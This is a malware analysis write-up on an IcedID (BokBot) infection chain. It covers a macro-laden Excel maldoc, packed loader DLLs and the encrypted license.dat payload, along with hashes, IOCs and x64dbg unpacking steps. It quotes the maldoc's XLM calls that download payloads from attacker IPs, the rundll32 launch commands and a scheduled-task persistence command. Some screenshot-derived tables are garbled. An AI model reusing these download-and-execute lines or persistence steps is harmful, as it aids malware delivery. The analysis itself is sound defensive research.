# **IcedID Analysis**



<u>IcedID</u> aka (BokBot) is banking malware designed to steal financial information. <u>Lunar Spider</u> is the threat actor behind IcedID which they've been running campaigns since at least 2017. Beside stealing banking information, some incident show that IcedID is an entry stage to ransomware or RAT attack. It's been observed lately that the threat actor has been using new techniques to evade detection by endpoint security, sandbox, and anti-reversing. Which makes it interesting to try dissecting samples to find out indicators and other artifacts that could be missed by security tools.

In this post, will take a look at IcedID sample that's been posted on <u>Malware-traffic-analysis.net</u>. Will walkthrough each artifact to learn how to unpack the hidden malicious binaries. These techniques would also work on other IcedID samples that has been found lately.

## behaviour overview

Threat actor send an email with attached ZIP archived including maldoc either MS Word or Excel spreadsheet. When opening the the maldoc it asks to enable macros. Once enabled two function happens first download a DLL file and run it in a process using 'rundll32.exe'. The downloaded DLL has unknown extension. After running in process, the DLL file 'Installer' does mainly two things: download a GZIP compressed binary and install it. The GZIP might have zip extension, but it can't be open or extracted with any archived tool. The GZIP mainly a dropper, it's packed with two binaries. without further ado let's get started with the below artifacts.

File Name	Description	File Type	SHA256
82025721897_03192021.xlsm	Maldoc	Excel spreadsheet	dcc45c82a484a420888aabe66588cbb1658cb2a7a5cc833b0438fa06ca84a991
Kiod.hod	Installer DLL	DLL	d1634c8dd16b4b1480065039fac62d6c1900692f0ccc9bf52c8ddc65599fbf3d
<u>suit_32.tmp</u>	Temporary DLL	DLL	b8502cc6fd41a558012e7ccd0a7f4e0ed5746bf106b8bf5b6a27ef9cba18a9e3
<u>Oxiwko.dll</u>	Persistent DLL	DLL	48b72914126b6b4a3e5aefa9bc8d5eac1187543eb0fa42c98a70a2f2ad07a60a
license.dat	IcedID	DLL! (encrypted)	45b6349ee9d53278f350b59d4a2a28890bbe9f9de6565453db4c085bb5875865

Table 1, List of IcedID artifacts to analyze



# maldoc

One of the most recognized templated of IcedID spreadsheet that hides beside it XLM 4.0 functions to download and run process once hit Enable Content as typical maldoc.



IcedID use "Auto\_Open" function to execute the entire XLM (4.0) script. Moving between sheets and cells, it's possible to debug the function step-by-step, but what's worthy is to get IOCs which is in clear text.

```
Host-based and Network-based IOCs
-----Shell Command -----
Rundll32 ... Kiod.hod2, DllRegisterServer
.....
-----Contacted IP Addresses -----
188.127.237.152
45.150.67.13
185.82.219.225
 _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
-----Calls -----
=CALL("URLMon", "URLDownloadToFileA", "JCCB", 0, "http://188.127.237.152/44295.4021160879.dat", "..\Kiod.hod")
=CALL("URLMon", "URLDownloadToFileA", "JCCB", 0, "http://45.150.67.13/44295.4021160879.dat", "..\Kiod.hod1")
=CALL("URLMon", "URLDownloadToFileA", "JCCB", 0, "http://185.82.219.225/44295.4021160879.dat", "..\Kiod.hod2")
```

## 

```
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
```

"C:\Program Files (x86)\Microsoft Office10\Fice14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\82025721897\_03192021.x1sm

C:\Windows\SysWOW64\Rundll32.exe
Rundll32\Kiod.hod,DllRegisterServer
C:\Windows\SysWOW64\Rundll32.exe
Rundll32\Kiod.hod1,DllRegisterServer
C:\Windows\SysWOW64\Rundll32.exe
Rundll32\Kiod.hod2,DllRegisterServer

Figure 3, Maldoc behavioral from Tria.ge sandbox

#### installer dll

'Kiod.hod' is the name of the first stage IcedID execution in this sample. It's a 64-bit DLL with MZ header running in a 'rundll32' create process from the maldoc. when checking the sample on Hatching Triage sandbox, the network shows requests to 'aws.amazon[.]com' and 'calldivorce[.]fun'. The installer download a GZIP file and install it. It's not possible to view the network indicators when on statically analyzing this sample, nor when debugging it which is mostly sign of packed executable.

#### Network



tria.ge sandbox

There's one library 'kernel32.dll' and no sign of imported APIs to help guide either statically or in debugger in order to unleash any indicators. Simply loading the sample on x64dbg doesn't work! There're multiple ways to unpack the installer DLL, however, the quick and possible way to unpack the binary by attaching the installer DLL to (~Windows\System32\rundll32) in x64dbg like steps below:

1. x64dbg -> File -> Open -> C:\Windows\System32\rundll32.exe
2. x64dbg -> File -> Change Command Line -> "C:\Windows\System32\rundll32.exe" "C:\Users\-\lab\Kiod.dll",DllRegisterServer
\* no spaces except the single space between " " and copy the full DLL directory
\*\* DllRegisterServer is the export function
3. After hitting ok, go to Options -> Preferences -> Events tab -> check ✓ DLL Entry

4. Hit F9 (few seconds and pause)

Directly after pausing you can notice see the register 'R14' got PE sign and ready to Save Memory Region by dump it from Memory Map. The unpacked executable seems to be unmapped to memory and no changes required to addresses on the sections headers.





Charle for undator

#### Figure 5, unpack IcedID installer

Unpacked Installer - unpacked file SHA256: 7459E88626A90B52C3392A14734D00A5238EDBF13C61907F39326DF2D4C3F922 HOST IOC: C:\ProgramData\ Network IOC: aws.amazon.com calldivorce.fun/~[GZIP file]

submitted sample on (9 April 2021)
23/61 VT: https://www.virustotal.com/gui/file/7459e88626a90b52c3392a14734d00a5238edbf13c61907f39326df2d4c3f922/detection
10/10 Triage: https://tria.ge/210409-af3skeevmx/behavioral2

other highlighted IOCs Libraries winhttp.dll Imports (APIs) LookupAccountNameW ,advapi32.dll WinHttpQueryDataAvailable,winhttp.dll WinHttpConnect,winhttp.dll WinHttpSetStatusCallback,winhttp.dll WinHttpSendRequest,winhttp.dll WinHttpCloseHandle,winhttp.dll WinHttpSetOption,winhttp.dll WinHttpOpenRequest, winhttp.dll WinHttpReadData,winhttp.dll WinHttpQueryHeaders,winhttp.dll WinHttpOpen,network,winhttp.dll WinHttpReceiveResponse,winhttp.dll WinHttpQueryOption,winhttp.dll CreateProcessA, kernel32.dll SwitchToThread, kernel32.dll

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It's clear what APIs and libraries the original packed installer hiding which is detectable by any endpoint security as can see in Pestudio. Further disassembling with *Cutter 2.0.0* the unpacked DLL to get indicators.

🗹 pestudio 9.09 - Malware Initial Assessment - www.wini	itor.com [c:\users\analyst\d	esktop\lab\unpacked\iced-koid-installer.dll]
file settings about		
iii 🗑 🗶 🗎 💡		
□■ c:\users\analyst\desktop\lab\unpacked\iced-koi	property	value
indicators (36)	md5	86E468E0E4AF64636F891712FA156283
virustotal (23/61)	sha1	7B246F50DDE9C6CD3FA0CCB78354AC1659ABB844
dos-neader (64 bytes)	sha256	7459E88626A90B52C3392A14734D00A5238EDBF13C61907F39326DF2D4C3F922
dos-stub (152 bytes)	md5-without-overlay	3EA3A0B9294BD328132EB3B571698D49
<ul> <li>File-beader (Ceb 2021)</li> </ul>	sha1-without-overlay	5EDFCE5B23C0966B7A15827D5EBD7D2482910F78
<ul> <li>Interneader (i E0.2021)</li> <li>antional-header (GIII)</li> </ul>	sha256-without-overlay	8C3D86EBC4F1F72031DBC67264898D964CD684055E02BD08EFC18A5912189C9A
directories (time-stamp)	first-bytes-hex	4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 B8 00 00 00 00 00 00 00 40 00 00 00 00 00
sections (blacklist)	first-bytes-text	M Z
libraries (6)	file-size	12288 (bytes)
	size-without-overlay	10240 (bytes)
exports (DIIRegisterServer)	entropy	4.581
🖉 exceptions (19)	imphash	A121B662C147E7C0556377C2789EB869
tls-callbacks (n/a)	signature	n/a
→ ŷ relocations (n/a)	entry-point	48 83 EC 38 83 FA 01 75 1F 48 83 64 24 28 00 4C 8D 05 AA FF FF FF 83 64 24 20 00 45 33 C9 33 D2 33
resources (n/a)	file-version	n/a
abc strings (146)	description	n/a
∰ debug (n/a)	file-type	dynamic-link-library
manifest (n/a)	cpu	64-bit
	subsystem	GUI
certificate (n/a)	compiler-stamp	0x601BBD88 (Thu Feb 04 01:25:28 2021)
····· Overlay (unknown)	debugger-stamp	n/a
	resources-stamp	
	exports-stamp	0xFFFFFFF (Sat Feb 06 22:28:15 2106)
	version-stamp	n/a
	certificate-stamp	n/a

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dos-header (64 hyter)	GetComput	terNameExA	system-information	n im	plicit						kernel32
dos-rtub (152 butes)	GetComput	terNameExW	system-information	n im	plicit						kernel32
rich-header (6)	GetTickCou	unt64	system-information	n im	plicit						kernel32
file-beader (Eeb.2021)	LookupAcc	ountNameW	security	im	plicit		x				advapi32
optional-header (GUI)	WinHttpQu	ieryDataAvaila	network	im	plicit		x				winhttp.
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sections (blacklist)	WinHttpSet	tStatusCallback	network	im	plicit		x				winhttp.
libraries (6)	WinHttpSer	ndRequest	network	im	plicit		x				winhttp
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exceptions (19)	WinHttpOp	enRequest	network	im	plicit		x				winhttp
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	CreateDirec	<u>toryA</u>	file	im	plicit						kernel3
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Figure 6, Pestudio and Cutter views of unpacked installer

# **TEMPORARY DLL**

suit\_32.tmp, is another 64-bit DLL. It dropped from GZIP with the 'license.dat' binary. Located in %temp% directory

C:\Users[username]\AppData\Local\Temp\suit\_32.tmp

The main purpose of this temporary DLL to initiate persistent with 'license.dat' and later copy itself to another directory for persistent.

Run method: rundll32.exe [filename],update /i:"LuxuryQuarter\license.dat"

This artifact is also well packed for evasion and anti-analysis purposes. like the 'installer' no libraries or API to get hint where to breakpoint. To unpack :

1. Load 'suit\_32.tmp' in x64dbg

3. Check the stack or RDI register for MZ header.

4. Dump from Memory Map

The unpacked requires addresses matching because it were mapped to memory.

<sup>2.</sup> Either single or over stepping till reaching [RtlExitUserProcess] API function



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1628	42 1	4 4C 8B	C9 4	18 8B	F9	4C 8	D 04	01	4C 2	B OA	OF		в	. L	. É	H.	ù L		L + .						- N
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Disasm: .t	text	Genera	ai 👘	DOSI	Hdr	KI	cn H	dr	File	Har	0	ptional F	lar	Sec	tion F	lars		Exports		impo	ns	Exc	eptio	n	
÷ +	D																								
Offset		Name		F	unc. (	Cour	nt	Во	und?			Origina	lFirst	Thun	Time	Date	Stamp	Forw	arder		Nam	eRVA		FirstTh	unk
21E4		SHLWAPI	.dll	2				FA	LSE			22F0			0			0			232E			20A8	
21F8		msvcrt.dl	l –	1				FA	LSE			2308			0			0			2344			20C0	
20C		KERNEL3	2.dll	- 18	8			FA	LSE			2248			0			0			245A			2000	
2220		SHELL32.	dll	1				FA	LSE			22E0			0			0			247C			2098	
< .																									>
	all 1	2 entries	1																						
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20A8		StrStrIA		-				23	22			/FFFE2L	DE973	10 70	-			14E							
2080		StrChrA		-				23	18			/FFFE2L	DEDE	/0	-			119							

Figure 7, x64dbg to unpack temporary DLL

Temporary DLL - unpacked file

SHA256: AD435DB375665D157AED16BA8B51735B65AC6AEE86864DA78408B44C9D85093B HOST IOC: C:\ProgramData\ Network IOC: N/A

Summitted sample on (4 April 2021) 15/69 VT: https://www.virustotal.com/gui/file/ad435db375665d157aed16ba8b51735b65ac6aee86864da78408b44c9d85093b/detection 1/10 Triage: https://tria.ge/210403-1sm7qxep8n/behavioral2

Other highlighted IOCs Imports (APIs) VirtualProtect, Kernel32.dll GetModuleFileNameA, Kernel32.dll

As compared with the packed version there's a new C2 based on Triage sandbox analysis!



<ul> <li></li></ul>			
C:\Windows\system	32\regsvr32.e	xe	
regsvr32 /s C:\Users	\Admin\AppData	\Local\Temp\suite_du	mped_fixed.dll
REQUESTS	ТСР	UDP	
52.109.12.18:443			
/update/ 10 Apr			

it's been brought up by community that the upper IPs are not C2s.



# Persistent DLL

'Oxiwko.dll', suppose to be a copy from the previous temporary DLL. Big picture from Entropy view and Pestudio shows the resemblance. Which makes it easy to unpack this sample using same method above with the temporary DLL.





Figure 8, Persistent DLL matching with temp DLL

Persistent DLL - unpacked file SHA256: c04101f36a7d1498379ff6abb2218a2730ad896908e525cd3664ea5cc4a56a18 HOST IOC: C:\ProgramData\ Network IOC: *N/A* Summitted sample on VT and Tria.ge (9 April 2021) 21/69 VT: https://www.virustotal.com/gui/file/c04101f36a7d1498379ff6abb2218a2730ad896908e525cd3664ea5cc4a56a18/detection 1/10 Triage: https://tria.ge/210409-tdel4edx32/static1 Other highlighted IOCs Tmports (APIE)

Imports (APIs) VirtualProtect, Kernel32.dll GetModuleFileNameA, Kernel32.dll There's not any network indicator in either packed or unpacked which make sense, because the very purpose of this file is persistent in Task Scheduler to load 'license.dat'.

Task Scheduler				_			$\times$
File Action View Hel	р						
🗢 🔿 🙍 🖬 🖬							
Task Scheduler (Loca	Name		Status	Triggers			
	🕒 tiquya_{88029973	3-867C-F66A-882A-21A9774A8E27}	Ready	Multiple triggers define	d		
	¢ l						>
	General Triggers	Actions Conditions Settings	History (d	lisabled)			
	When you create these actions, op	a task, you must specify the action en the task property pages using th	n that wil ne Proper	l occur when your task sta rties command.	arts. T	lo chang	je ^
	Action	Details					
	Start a program	rundll32.exe "C:\Users\user1\AppDa FC561D9B7827}\Oxiwko.dll",update	ata∖Roan e /ï:"Luxur	ning\user1\{DE776E6E-9D[ yQuarter\license.dat"	08-305	54-4698	*

Figure 9, Persistent [snap from malware-traffic-analysis]

### IcedID (license.dat)

Leaving the beast for last! Even-though it's been summited to VT by early March 1st, 2021. It's still unrecognized by many vendors that 'license.dat' is the lcedID.

6	() 6 security vendors flagged this file as malicious			C	
/58	45b6349ee9d53278f350b59d4a2a28890bbe9f9de6565453db4c085bb5875865 license.dat	333.01 KB Size	2021-04-06 09:11:13 UTC 3 days ago	<b>C</b> o DLL	

Huge credit to BinaryDefense team for their efforts building the decryption tool for this part of IcedID and giving it a way on Github.

The unknown 'license.dat' encrypted binary is running on Task Scheduler with the persistent DLL. As it turns out the unknown binary is also 64-bit DLL. Unlike the previous DLL, this is different kind of beast and this is what IcedID (BokBot) is all about. The decryption does a good job dissecting readable DLL from encrypted binary. However, due to very complication of this part is only possible to disassemble it in IDA, Cutter and other kind of disassemble tools. It's not possible to debug it.

Never the less, it's possible to reverse engineer the function with proper disassembler to unleash the behavior which by looking at it's API list seems to be detectable by Endpoints. The main functions of 'license.dat' is collecting host and user information and connecting to C2.

C:\use	rs\rem\desktop\lab\license\iceddecrypt-m	name (194)	group (14)	type (1)	ordinal (18)	blacklist (109)	anti-debug ((
- Jil inc	dicators (55)	GetNativeSystemInfo	system-information	implicit	-	x	-
D do	ustotal (offline)	ZwQuerySystemInformat	system-information	implicit	-	x	-
do	s-stub (144 bytes)	UnregisterWait	synchronization	implicit	-	x	-
Þ ric	h-header (6)	RegisterWaitForSingleOb	synchronization	implicit	-	x	-
⊳ file	e-header (Apr.2021)	QueueUserAPC	synchronization	implicit	-	x	-
Þ op	tional-header (GUI)	QueryPerformanceFrequ	synchronization	implicit	-	x	-
🚮 dir	rectories (time-stamp)	OpenProcessToken	security	implicit	-	x	-
▷ se	ctions (executables)	GetSidldentifierAuthority	security	implicit	-	x	-
lib	raries (12)	GetSidSubAuthority	security	implicit	-	x	-
	ports (194)	GetSidSubAuthorityCount	security	implicit	-	x	-
ex	ports (ordinal)		security	implicit	-	x	-
- a the	-callbacks (p/a)	AdjustTakapDrivilagas	security	implicit	-	x	-
	ocations (108)	LookupPrivilegeValueA	security	implicit		×	
	sources (n/a)	RegCreateKeyA	registry	implicit		×	-
abc str	ings (4884)	RegDeleteKeyA	registry	implicit		×	
	bug (n/a)	RegSetValueEvA	registry	implicit		×	
🗐 mi	anifest (n/a)	RegDeleteValueA	registry	implicit	-	×	-
<b>1.0</b> Ve	rsion (n/a)	WinHttpCloseHandle	network	implicit	-	x	-
ce	rtificate (n/a)	WinHttpQuervOption	network	implicit	-	x	-
🗋 ov	erlay (unknown)	WinHttpSetStatusCallback	network	implicit	-	x	-
		WinHttpCrackUrl	network	implicit	-	x	-
		WinHttpOpen	network	implicit	-	x	-
		WinHttpReadData	network	implicit	-	x	-
		WinHttpQueryDataAvaila	network	implicit	-	x	-
		WinHttpSetOption	network	implicit	-	x	-
		WinHttpOpenRequest	network	implicit	-	x	-
		WinHttpSendRequest	network	implicit	-	x	-
		WinHttpReceiveResponse	network	implicit	-	x	-
		WinHttpQueryHeaders	network	implicit	-	x	-
		WinHttpConnect	network	implicit	-	x	-
		GetAdaptersInfo	network	implicit	-	x	-
	>	<		· · ·			>
256: 3552C	779F31A5B00DC78DF887979A37DC61E756C	F7C0B6C66DECAECD04CE8BE	E cpu: 64-bit f	ile-type: dynamic-link-library	subsystem	n: GUI	er
	<pre>mov r12d, r8d mov ebx, edx mov r8d, 8 lea rdx, String mov r14, r9 mov rsi, rcx call cs:StrCmpNIA xor edi, edi test eax, eax jnz short loc_180001</pre>	; "https://" BEA					
	1 m 1 c t j	oc_180001BEA: ov r8d, 8 ea rdx, aFront ov rcx, rsi all cs:StrCmpNIA est eax, eax nz short loc_180	; "front://" 201C2A				
	<b>V</b>						

Figure 10, Decrypted license.dat

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Decrypted license.dat file

SHA256: 66b6a55b67c0201a02dbdc4a2ef3c3f2d57aaadbbefa61c1bcdb59b96fb86743

submitted on VT and Triage on (9 April 2021)

16/67 VT: https://www.virustotal.com/gui/file/66b6a55b67c0201a02dbdc4a2ef3c3f2d57aaadbbefa61c1bcdb59b96fb86743/detection 1/10 triage: https://tria.ge/210409-1satexfe4j

Further analysis will be taken to further analyze IcedID campaigns in general and 'license.dat' in particular to further understand its behavior.

TO BE CONTINUED ....



Credit

To BinaryDefense, <u>https://www.binarydefense.com/icedid-gziploader-analysis/</u> for providing the decryption tool

To Malware Traffic Analysis, https://www.malware-traffic-analysis.net/ for the artifacts, WireShark packets

#### References

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